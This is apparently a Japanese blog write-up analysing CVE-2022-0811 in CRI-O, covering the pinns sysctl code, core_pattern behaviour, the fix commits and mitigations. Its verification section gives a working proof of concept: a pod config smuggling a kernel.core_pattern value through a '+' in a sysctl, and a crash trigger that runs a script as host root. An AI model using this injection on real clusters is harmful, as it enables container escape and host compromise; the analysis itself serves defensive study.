CVE-2022-0811 調査まとめ

CRI-O の脆弱性 (CVE-2022-0811) について調べた内容をまとめました。脆弱性の詳細と、関連する CRI-O の実装や Linux の機能を紹介します。

CVE-2022-0811 概要

CVE-2022-0811 は CRI-O の任意コード実行・コンテナブレイクアウト脆弱性で、報告した CrowdStrike 社は「cr8escape」と呼んでいます。 CRI-O の v1.19 以降に影響があり、すでに修正バージョンがリリースされています。 (詳細は Security Advisory を参照)
pinns utility のカーネルパラメータ設定の検証不備により、/proc/sys/kernel/core_pattern への書き込みが可能となっていました。これによりプロセスを異常終了させることでホストの root 権限で任意の操作を行えます。
LSM では防ぐことはできませんが、OPA 等のポリシーで回避可能です。

CRI-O について

CRI-O 概要

https://github.com/cri-o/cri-o

CRI-O は Kubernetes に最適化された軽量な高レベルコンテナランタイムです。
Docker や containerd とは異なり、コンテナ作成にはまず pod を作成し、その中にコンテナを作成する必要があります。
CLI ツールは crictl (https://github.com/kubernetes-sigs/cri-tools) を使用します。

# cat container-config.json 
{
  "metadata": {
      "name": "ubuntu"
  },
  "image":{
      "image": "ubuntu"
  },
  "command": [
      "sleep",
      "3600"
  ],
  "log_path":"ubuntu.0.log",
  "linux": {
  }
}

# cat pod-config.json 
{
    "metadata": {
        "name": "ubuntu-sandbox",
        "namespace": "default",
        "attempt": 1,
        "uid": "hdishd83fjaiarawuwk28bcsb"
    },
    "log_directory": "/tmp",
    "linux": {
    }
}

# crictl runp pod-config.json   ← pod の起動
b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc

# crictl create b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc container-config.json pod-config.json   ← コンテナ作成
2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7

# crictl start 2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7   ← コンテナ起動
2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7

# crictl pods
POD ID              CREATED             STATE               NAME                NAMESPACE           ATTEMPT             RUNTIME
b69761649f8f6       42 seconds ago      Ready               ubuntu-sandbox      default             1                   (default)

# crictl ps
CONTAINER           IMAGE               CREATED             STATE               NAME                ATTEMPT             POD ID
2ce8010c047df       ubuntu              19 seconds ago      Running             ubuntu              0                   b69761649f8f6

pinns による pod へのカーネルパラメータ設定

CRI-O は pinns utility を使用することで、pod 起動時にカーネルパラメータ (sysctls) を設定できます。
この対応は v1.19 で追加されました。 (first commit)

設定には -s オプションを使用し、key=value の形式で複数のカーネルパラメータを連結して渡すことができます。

pinns -s kernel_parameter1=value1+kernel_parameter2=value2

設定可能な sysctls は以下の実装で制限されています。
sysctls の中にはホストと設定を共有するものもあるため、コンテナ起動時に設定できる sysctls を Namespaced なものに限定しています。

https://github.com/cri-o/cri-o/blob/main/pkg/config/sysctl.go

var prefixNamespaces = map[string]Namespace{
  "kernel.shm": IpcNamespace,
  "kernel.msg": IpcNamespace,
  "fs.mqueue.": IpcNamespace,
  "net.":       NetNamespace,
}

// Validate checks that a sysctl is whitelisted because it is known to be
// namespaced by the Linux kernel. The parameters hostNet and hostIPC are used
// to forbid sysctls for pod sharing the respective namespaces with the host.
// This check is only used on sysctls defined by the user in the crio.conf
// file.
func (s *Sysctl) Validate(hostNet, hostIPC bool) error {
  nsErrorFmt := "%q not allowed with host %s enabled"
  if ns, found := namespaces[s.Key()]; found {
    if ns == IpcNamespace && hostIPC {
      return errors.Errorf(nsErrorFmt, s.Key(), ns)
    }
    return nil
  }
  for p, ns := range prefixNamespaces {
    if strings.HasPrefix(s.Key(), p) {
      if ns == IpcNamespace && hostIPC {
        return errors.Errorf(nsErrorFmt, s.Key(), ns)
      }
      if ns == NetNamespace && hostNet {
        return errors.Errorf(nsErrorFmt, s.Key(), ns)
      }
      return nil
    }
  }
  return errors.Errorf("%s not whitelisted", s.Key())
}

sysctls の適用は pinns 内に実装されており、-s オプションの設定値をもとに /proc/sys/ 以下のファイルに書き込みを行なっています。

https://github.com/cri-o/cri-o/blob/main/pinns/src/sysctl.c

static int write_sysctl_to_file (char * sysctl_key, char* sysctl_value)
{
  if (!sysctl_key || !sysctl_value)
  {
    pwarn ("sysctl key or value not initialized");
    return -1;
  }

  // replace periods with / to create the sysctl path
  for (char* it = sysctl_key; *it; it++)
    if (*it == '.')
      *it = '/';

  _cleanup_close_ int dirfd = open ("/proc/sys", O_DIRECTORY | O_PATH | O_CLOEXEC);
  if (UNLIKELY (dirfd < 0))
  {
    pwarn ("failed to open /proc/sys");
    return -1;
  }

  _cleanup_close_ int fd = openat (dirfd, sysctl_key, O_WRONLY);
  if (UNLIKELY (fd < 0))
  {
    pwarnf ("failed to open /proc/sys/%s", sysctl_key);
    return -1;
  }

  int ret = TEMP_FAILURE_RETRY (write (fd, sysctl_value, strlen (sysctl_value)));
  if (UNLIKELY (ret < 0))
  {
    pwarnf ("failed to write to /proc/sys/%s", sysctl_key);
    return -1;
  }
  return 0;
}

Coredump

プロセスが異常終了した時に、プロセスメモリの dump を core ファイルとして出力します。
これはホストの root 権限で実行されます。

Coredump の設定は /proc/sys/kernel/core_pattern に書かれており、ファイルの直接編集や sysctl コマンドで設定を変更できます。

# sysctl -w kernel.core_pattern="%e-%s.core"

kernel.core_pattern には dump の出力先パスを指定しますが、最初文字がパイプ | の場合は指定パスのプログラムを実行します (この場合 dump は標準入力として渡される)。

/proc/sys/kernel/core_pattern のデフォルト値として、ubuntu (20.04) では apport というバグレポートツールが指定されています。

$ cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c %d %P %E

また Coredump のファイルサイズ上限は ulimit で設定します。
Limit が0の場合ファイル出力されませんが、試した感じ今回の脆弱性は Soft Limit が0でも刺さりそうです。

# cat /proc/self/limits 
Limit                     Soft Limit           Hard Limit           Units     
Max cpu time              unlimited            unlimited            seconds   
Max file size             unlimited            unlimited            bytes     
Max data size             unlimited            unlimited            bytes     
Max stack size            8388608              unlimited            bytes     
Max core file size        0                    unlimited            bytes     
Max resident set          unlimited            unlimited            bytes     
Max processes             3819                 3819                 processes 
Max open files            1024                 1048576              files     
Max locked memory         67108864             67108864             bytes     
Max address space         unlimited            unlimited            bytes     
Max file locks            unlimited            unlimited            locks     
Max pending signals       3819                 3819                 signals   
Max msgqueue size         819200               819200               bytes     
Max nice priority         0                    0                    
Max realtime priority     0                    0                    
Max realtime timeout      unlimited            unlimited            us

エクスプロイト

要点

  • kernel.core_pattern は Namespaced ではないため、ホストとコンテナで同じファイルを参照する
    • コンテナ内からは変更不可
    • pod 起動時に sysctl に kernel.core_pattern を設定できれば、ホストの値も変更できる
  • CIO-O 内で sysctl のキーを検証しているが、value+ を含む文字列を渡すことでバイパス可能 (以下コードを参照)
  • 設定後にプロセスを異常終了させることで、ホストの root 権限で任意コード実行

問題となったコード

func getSysctlForPinns(sysctls map[string]string) string {
  // this assumes there's no sysctl with a `+` in it
  const pinnsSysctlDelim = "+"
  g := new(bytes.Buffer)
  for key, value := range sysctls {
    fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim)  // ← "'key1=value1'+'key2=value2'" の形で文字列連結する
  }
  return strings.TrimSuffix(g.String(), pinnsSysctlDelim)
}

検証

脆弱なバージョンの CRI-O で CVE-2022-0811 を検証します。
今回は Kubernetes は使用せず、crictl での検証を行いました。

# crio --version
crio version 1.23.1
Version:          1.23.1
GitCommit:        af642cdafed31e4be5dd82e996bb084050c8bb89
GitTreeState:     dirty
BuildDate:        1980-01-01T00:00:00Z
GoVersion:        go1.17.4
Compiler:         gc
Platform:         linux/amd64
Linkmode:         static
BuildTags:        apparmor, exclude_graphdriver_devicemapper, seccomp, selinux
SeccompEnabled:   true
AppArmorEnabled:  true

最初にホストに実行させたいプログラムを配置するコンテナを作成します。
container-config.json、pod-config.json は前述のファイルと同じものです。

# crictl runp pod-config.json 
d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a

# crictl create d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a container-config.json pod-config.json 
9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123

# crictl start 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123
9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123

起動したコンテナにアタッチし、コンテナの root パスにプログラムを配置します。
今回は /etc/passwd をコンテナ内の /output に出力するスクリプトを用意しました。

# crictl exec -it 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123 bash

root@d33614f0b22d:/# mount | grep overlay
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/containers/storage/overlay/l/73PSGHB33J2RBZXIUVK7SRC4UA,upperdir=/var/lib/containers/storageoverlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff,workdir=/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/work,metacopy=on,volatile)

root@d33614f0b22d:/# echo '#!/bin/sh' > /cmd

root@d33614f0b22d:/# echo 'cat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/output' >> cmd

root@d33614f0b22d:/# cat /cmd
#!/bin/sh
cat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/output

root@d33614f0b22d:/# chmod a+x /cmd

続いて kernel.core_pattern を変更する pod を作成します。
pod config の sysctls には変更が許可されている sysctl のキーと、+ で連結した value を記載します。value に記載する kernel.core_pattern には、ホストから見たプログラムの絶対パスを指定しています。
パスの末尾に # をつけていますが、これは CRI-O の実装で付与されるシングルクォートを無効化する役割があります。

# cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c %d %P %E

# cat pod-config2.json 
{
    "metadata": {
        "name": "ubuntu-sandbox2",
        "namespace": "default",
        "attempt": 1,
        "uid": "edishd83djaidwnduwk28bcsd"
    },
    "log_directory": "/tmp",
    "linux": {
  "sysctls": {
      "kernel.shm_rmid_forced": "1+kernel.core_pattern=|/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #"
  }
    }
}

# crictl runp pod-config2.json 
FATA[0001] run pod sandbox: rpc error: code = Unknown desc = container create failed: write to /proc/sys/kernel/shm_rmid_forced: Invalid argument 

pod 作成はエラーになりますが、kernel.core_pattern を見ると変更されていることがわかります。

# cat /proc/sys/kernel/core_pattern 
|/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #'

最後に起動中のコンテナ内でプロセスを異常終了させることで、 Coredump の機能を呼び出しホストの root 権限でプログラムを実行させることができます。

root@d33614f0b22d:/# tail -f /dev/null &
[1] 17

root@d33614f0b22d:/# ps
    PID TTY          TIME CMD
      4 pts/0    00:00:00 bash
     17 pts/0    00:00:00 tail
     18 pts/0    00:00:00 ps

root@d33614f0b22d:/# kill -SIGSEGV 17

root@d33614f0b22d:/# ls /
bin  boot  cmd  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  output  proc  root  run  sbin  srv  sys  tmp  usr  var
[1]+  Segmentation fault      (core dumped) tail -f /dev/null

root@d33614f0b22d:/# cat /output 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
...

回避策

CrowdStrike 社のブログ を参考にしています。
seccomp 等の LSM では防げないため、CRI-O のアップデートが推奨されます。

  • CRI-O のアップデート (非推奨だが v1.18 以下へのダウングレードも可)
  • OPA 等のポリシーを設定する
  • PSP で sysctls を全てブロックする
  • pinns の -s を除去するラッパーを用意し、crio.conf の pinns_path に設定する

修正パッチ

commit1

https://github.com/cri-o/cri-o/commit/05c443b06356c2dbf9d30060f362279c6b8ac1a1

pinns の -s オプションを生成する箇所で、+ に対してバリデーションを追加しています。
こちらは暫定対応?のようで、次に紹介する commit2 で再修正されています。

  func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) {
    ...
  
    if len(cfg.Sysctls) != 0 {
-     pinnsArgs = append(pinnsArgs, "-s", getSysctlForPinns(cfg.Sysctls))
+     pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)
+     if err != nil {
+       return nil, errors.Wrapf(err, "invalid sysctl")
+     }
+     pinnsArgs = append(pinnsArgs, "-s", pinnsSysctls)
    }
  
    ...
  }

- func getSysctlForPinns(sysctls map[string]string) string {
-   // this assumes there's no sysctl with a `+` in it
+ func getSysctlForPinns(sysctls map[string]string) (string, error) {
+   // This assumes there's no valid sysctl value with a `+` in it
+   // and as such errors if one is found.
    const pinnsSysctlDelim = "+"
    g := new(bytes.Buffer)
    for key, value := range sysctls {
+     if strings.Contains(key, pinnsSysctlDelim) || strings.Contains(value, pinnsSysctlDelim) {
+       return "", errors.Errorf("'%s=%s' is invalid: %s found yet should not be present", key, value, pinnsSysctlDelim)
+     }
      fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim)
    }
-   return strings.TrimSuffix(g.String(), pinnsSysctlDelim)
+   return strings.TrimSuffix(g.String(), pinnsSysctlDelim), nil
  }

commit2

https://github.com/cri-o/cri-o/commit/1af1f8af2c7e23525102dffbf0899b69e34ed3d2

文字列の連結をやめ、-s をパラメータ毎に設定する修正がされています。

  func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) {
    ...
  
-   if len(cfg.Sysctls) != 0 {
-     pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)
-     if err != nil {
-       return nil, errors.Wrapf(err, "invalid sysctl")
-     }
-     pinnsArgs = append(pinnsArgs, "-s", pinnsSysctls)
+   for key, value := range cfg.Sysctls {
+     pinnsArgs = append(pinnsArgs, "-s", fmt.Sprintf("%s=%s", key, value))
    }
  
    ...
  }

containerd の場合

他のコンテナランタイムがどうなっているか気になったので、containerd の実装を調べてみました。
containerd では sysctls のバリデーションを行なっておらず、設定された sysctls を OCI 側にそのまま渡しているようです。
runc 内の実装に sysctls の検証をしている箇所を見つけました。

https://github.com/opencontainers/runc/blob/main/libcontainer/configs/validate/validator.go

// sysctl validates that the specified sysctl keys are valid or not.
// /proc/sys isn't completely namespaced and depending on which namespaces
// are specified, a subset of sysctls are permitted.
func (v *ConfigValidator) sysctl(config *configs.Config) error {
    validSysctlMap := map[string]bool{
        "kernel.msgmax":          true,
        "kernel.msgmnb":          true,
        "kernel.msgmni":          true,
        "kernel.sem":             true,
        "kernel.shmall":          true,
        "kernel.shmmax":          true,
        "kernel.shmmni":          true,
        "kernel.shm_rmid_forced": true,
    }

    for s := range config.Sysctl {
        if validSysctlMap[s] || strings.HasPrefix(s, "fs.mqueue.") {
            if config.Namespaces.Contains(configs.NEWIPC) {
                continue
            } else {
                return fmt.Errorf("sysctl %q is not allowed in the hosts ipc namespace", s)
            }
        }
        if strings.HasPrefix(s, "net.") {
            if config.Namespaces.Contains(configs.NEWNET) {
                continue
            } else {
                return fmt.Errorf("sysctl %q is not allowed in the hosts network namespace", s)
            }
        }
        return fmt.Errorf("sysctl %q is not in a separate kernel namespace", s)
    }

    return nil
}

CRI-O は pinns により独自の sysctls 設定を実装していますが、pod 作成時に設定する都合上、 OCI の機能を使わない方法を選んだのかもしれません (根拠はないです)。

さいごに

初めて CRI-O を触りましたが、Docker や containerd とはかなり仕組みが異なることがわかりました。
脆弱性の調査を通して CRI-O の実装や Linux の機能に触れることができ、良い機会を得られたと思います。

内容に誤りが含まれる可能性がありますので、何かお気づきの方はご指摘等よろしくお願いします。

参考リンク

https://nvd.nist.gov/vuln/detail/CVE-2022-0811

https://blog.aquasec.com/cve-2022-0811-cri-o-vulnerability

https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

https://github.com/cri-o/cri-o/security/advisories/GHSA-6x2m-w449-qwx7

https://pwning.systems/posts/escaping-containers-for-fun/

https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts

https://valinux.hatenablog.com/entry/20210721

https://qiita.com/rarul/items/d33b664c8414f065e65e

https://man7.org/linux/man-pages/man5/core.5.html

https://lwn.net/Articles/280959/

https://wiki.ubuntu.com/Apport